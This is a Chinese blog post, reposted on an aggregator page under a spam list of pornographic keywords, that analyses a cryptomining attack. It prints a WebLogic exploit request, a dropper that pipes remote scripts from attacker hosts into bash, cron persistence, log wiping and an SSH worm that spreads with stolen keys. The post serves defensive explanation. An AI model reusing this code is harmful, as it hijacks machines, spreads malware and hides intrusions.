日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

凶残的挖矿脚本,奴役我数千机器!

發布時間:2023/12/3 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 凶残的挖矿脚本,奴役我数千机器! 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本文轉載自不正經程序員

溫馨提示:本文中出現的命令和腳本,不要在自家服務器上隨便運行,除非你知道自己在做什么。

挖礦是把機器當作奴隸,一刻不停歇的去計算、運轉,本質上是個無用的工作。但可惜的是,它能賺錢。用別人的機器去賺錢,更是很多人夢寐以求的,所以挖礦腳本屢禁不止。

有錢的地方,就有技術。但反過來并不一定成立。

牢記這個準則,就能夠心平氣和的學習新技術,而不是氣急敗壞的糾結為啥沒錢。

1. 腳本從哪來?

下面是一個http的報文。

GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1Host: 20*.10*.8*.1*9:7001 #已脫敏User-Agent: curl/7.55.1Accept: */*Content-Type:application/x-www-form-urlencoded; charset=utf-8

很簡單,waf防火墻攔截到相關包,一眼看上去就不正常。從關鍵字com.tangosol.coherence.mvel2.sh.ShellSession可以得知,這個請求,是想要利用Weblogic的遠程代碼執行漏洞。

這樣的漏洞有很多很多,數不勝數,比如它可以通過redis進入。我們不必關注這些漏洞,默認它已經利用成功了。我們只看挖礦腳本是怎么部署到你的機器上的。

在java中,當然要調用它的Runtime類庫,如果你的應用程序是運行在root用戶的,那它什么事情都能干。

這就是為什么要求你線上部署的應用,都用權限低一點的賬戶,比如xjjdog去運行,而不是不要命的把root賬戶給開放。

exec函數帶了三個參數。

  • /bin/sh?意味著它要執行一個shell腳本

  • -c?指明了要執行的命令

  • export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash 首先輸出了一個全局環境變量,然后下載一個png文件

狡猾的人都喜歡帶面具,而狡猾的腳本都喜歡改后綴。看起來是個png,但它是個腳本。

2. 腳本怎么安裝的?

接下來摘下它的偽裝,看一下它的真面目。

curl?http://t.bb3u9.com/ln/core.png\?logic?>?core.png?

查看core.png文件中的內容。不錯,很長一段腳本。

#/bin/bash setenforce?0?2>/dev/null echo?SELINUX=disabled?>?/etc/sysconfig/selinux?2>/dev/null sync?&&?echo?3?>/proc/sys/vm/drop_caches murl1="http://t.bb3u9.com/ln/a.asp" murl2="http://t.jdjdcjq.top/ln/a.asp" cdate=$(date?"+%Y%m%d") guid=`echo?$(sudo?dmidecode?-t?4?|?grep?ID?|?sed?'s/.*ID://;s/?//g')?$(ifconfig?|?grep?-oP?'HWaddr?\K.*'|sed?'s/://g')|sha256sum|awk?'{print?$1}'` cmd1="export?gurl=$murl1?${src}_${cdate};(curl?-fsSL?\$gurl*`whoami`*\`hostname\`*${guid}||wget?-q?-O-?\$gurl*`whoami`*\`hostname\`*${guid})|bash" cmd2="export?gurl=$murl2?${src}_${cdate};(curl?-fsSL?\$gurl*`whoami`*\`hostname\`*${guid}||wget?-q?-O-?\$gurl*`whoami`*\`hostname\`*${guid})|bash" echo?"">/var/spool/cron/root echo?"">/var/spool/cron/crontabs/root if?[?"`whoami`"?==??"root"?];thencronpath=/etc/crontabXpath=/.Xl1 elsecronpath=/var/spool/cron/`whoami`Xpath=~/.Xl1 fi if?[?!?-d?"$Xpath"?];thenmkdir?$Xpathecho?"$[$RANDOM%60]?*?*?*?*?root?$cmd1"?>>?$cronpathecho?"$[$RANDOM%60]?*?*?*?*?root?$cmd2"?>>?$cronpathuname?-a|grep?x86_64?&&?echo?"$[$RANDOM%60]?*?*?*?*?root?ps?aux|grep?p.b69kq.com?|grep?-v?grep?||?$Xpath?-o?p.b69kq.com:444?--opencl?--donate-level=1?--nicehash?-B?--http-host=0.0.0.0?--http-port=65529?--opencl?--cuda"?>>?/etc/crontabexport?gurl=$murl1?${src}_${cdate};(curl?-fsSL?$gurl*`whoami`*`hostname`*${guid}||wget?-q?-O-?$gurl*`whoami`*`hostname`*${guid})|bashexport?gurl=$murl2?${src}_${cdate};(curl?-fsSL?$gurl*`whoami`*`hostname`*${guid}||wget?-q?-O-?$gurl*`whoami`*`hostname`*${guid})|bash fiecho?>?/var/spool/mail/root echo?>?/var/log/wtmp echo?>?/var/log/secure

按照常規,我們來一行行拆解它。

1)關掉selinux。setenforce 0是關閉的意思,2表示stderr,出錯了不提示。接下來會通過寫配置文件的方式,永久性的禁止selinux。

setenforce?0?2>/dev/null echo?SELINUX=disabled?>?/etc/sysconfig/selinux?2>/dev/null

2)很良心的幫助清理一下系統內存

sync?&&?echo?3?>/proc/sys/vm/drop_caches

3)構造guid,對機器進行標識

guid=`echo?$(sudo?dmidecode?-t?4?|?grep?ID?|?sed?'s/.*ID://;s/?//g')?$(ifconfig?|?grep?-oP?'HWaddr?\K.*'|sed?'s/://g')|sha256sum|awk?'{print?$1}'`

dmidecode命令,可以獲取linux硬件相關的信息,會輸出非常多的內容。-t 4表示只獲取Process方面的內容。然后過濾一下ID信息,使用sed命令截取并去掉空格。

ID:?57?06?05?00?FF?FB?8B?0F

會變成。

57060500FFFB8B0F

然后使用ifcongig命令獲取網卡硬件MAC信息。做同樣的處理后獲得另外一個串。這段腳本寫的稍微有點問題,因為ifconfig的輸出經常會改格式,但不影響計算hash。

sha256sum就是算出這樣一個hash,然后賦值給guid。比如下面這個。

786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

4)安裝定時任務到crontab中

腳本選擇了/.Xl1目錄作為真正的挖礦程序的存儲目錄。注意這三個字母,后面是l和1,并不是X桌面的配置目錄。在真正的腳本部分,我們可以看到下載的程序包地址是d.u78wjdu.com/ln/xr.zip。

5)我們再來看一下下載的鏈接是什么樣子的

cmd1="export?gurl=$murl1?${src}_${cdate};(curl?-fsSL?\$gurl*`whoami`*\`hostname\`*${guid}||wget?-q?-O-?\$gurl*`whoami`*\`hostname\`*${guid})|bash" cmd2="export?gurl=$murl2?${src}_${cdate};(curl?-fsSL?\$gurl*`whoami`*\`hostname\`*${guid}||wget?-q?-O-?\$gurl*`whoami`*\`hostname\`*${guid})|bash"

其中,src變量是在一開始就設置的,我們依次來還原一下。

export?src=logic cdate=$(date?"+%Y%m%d") guid=`echo?$(sudo?dmidecode?-t?4?|?grep?ID?|?sed?'s/.*ID://;s/?//g')?$(ifconfig?|?grep?-oP?'HWaddr?\K.*'|sed?'s/://g')|sha256sum|awk?'{print?$1}'` gurl=$murl1?${src}_${cdate}

最終會拼成下面的字符串,可以說該有的信息都有了,能夠區分出到底是哪一臺機器了。

url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

3. 真正的腳本是什么?

$RANDOM環境變量,是個神奇的環境變量。直接輸出的話,將會得到一個隨機值。cron腳本周期性的拉取最新的腳本執行,把真正的挖礦程序部署起來。

關于真實腳本的介紹,xjjdog在另外一篇文章中有詳細的介紹。在這個場景下,最新的腳本就是http://t.bb3u9.com/ln/a.asp,依然是改后綴的障眼法。

這個腳本顯然比上面這篇文章介紹的要更加高級一些。腳本很長很長,就不貼了,你可以自己下載。它的主要意圖,是下載一個叫做xr的程序,然后在馬甲目錄.Xl1中運行。xr程序才是挖礦的主要程序,其他的腳本,都是輔助它來運行的。下面是最主要的運行邏輯。

if?[?!?-d?"$Xpath"?];thenmkdir?$Xpath fi cd?$Xpath if?[?!?-f?"./xr"?];thenuname?-a|grep?x86_64?&&?(curl?-fsSL?d.u78wjdu.com/ln/xr.zip||wget?-q?-O-?d.u78wjdu.com/ln/xr.zip)>xr.zip?&&?tar?xf?xr.zip?&&?rm?xr.zip fi uname?-a|grep?x86_64?&&?ps?aux|grep?p.b69kq.com?|grep?-v?grep?||?./xr?-o?p.b69kq.com:444?--opencl?--donate-level=1?--nicehash?-B?--http-host=0.0.0.0?--http-port=65529?--opencl?--cuda

要保證腳本的安全,怎么能少得了chattr命令。很多人遇見加了i參數的文件,不能被刪除,就傻眼了。其實是可以通過-i參數去掉這個屬性的。

chattr?-iua?/tmp/ chattr?-iua?/var/tmp/ chattr?-R?-i?/var/spool/cron chattr?-i?/etc/crontab

腳本還會通過nc命令,拷貝rsa公鑰到你的每個用戶目錄下面,把你做成事實上的肉雞,實現免密登錄。關于nc這把瑞士軍刀,我們也有過介紹。

for?file?in?/home/* doif?test?-d?$file;?thenif?[?-f?$file/.ssh/known_hosts?]?&&?[?-f?$file/.ssh/id_rsa.pub?];?thenfor?h?in?$(grep?-oE?"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"?$file/.ssh/known_hosts);?do?echo?exit?|nc?-w?1?-n?-v?$h?65529?&&?ssh?-oBatchMode=yes?-oConnectTimeout=5?-oStrictHostKeyChecking=no?$h?'export?src=sshcopy;(curl?-fsSL?http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget?-q?-O-?http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash?>/dev/null?2>&1?&'?&?donefifi done

這份腳本,還會病毒式的傳播。localgo函數,通過從你的ps進程,history文件,還有hosts配置,拿到用戶列表、主機列表端口、rsa密鑰等,就可以批量的去嘗試登錄并傳播這份腳本。當然,上面的xr程序會監聽65529的端口,如果判斷主機已經中招了,就不再繼續探測。

能用65529這個端口,本身就夠騷氣的了,有幾臺機器能夠達到上限65535呢?

localgo()?{i=0for?user?in?$userlist;?dofor?host?in?$hostlist;?dofor?key?in?$keylist;?dofor?sshp?in?$sshports;?doi=$((i+1))if?[?"${i}"?-eq?"20"?];?thensleep?20ps?wx?|?grep?"ssh?-o"?|?awk?'{print?$1}'?|?xargs?kill?-9?&>/dev/null?&i=0fi#Wait?20?seconds?after?every?20?attempts?and?clean?up?hanging?processeschmod?+r?$keychmod?400?$keyecho?"$user@$host?$key?$sshp"echo?exit?|nc?-w?1?-n?-v?$host?65529?&&??ssh?-oStrictHostKeyChecking=no?-oBatchMode=yes?-oConnectTimeout=5?-i?$key?$user@$host?-p$sshp?"export?src=sshcopy;(curl?-fsSL?http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget?-q?-O-?http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash?>/dev/null?2>&1?&"donedonedonedone }

最后,腳本還不忘匯報一下,形成完美的閉環。

reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip} (curl?-fsSL?$reurl||wget?-q?-O-?$reurl)|bash

4. End

如果你發現你的機器不明原因發熱,務必排查一下有沒有挖礦程序。雖然你的服務器擺在那里也沒什么用,但用著你的電費,收益卻給別人,相信你一定會嫉妒的要命。那么別猶豫,kill -9送給它,別忘了清理cron。

重裝是我們的秘密武器,僅次于重啟。嫌麻煩的話,就這么干吧!

總結

以上是生活随笔為你收集整理的凶残的挖矿脚本,奴役我数千机器!的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。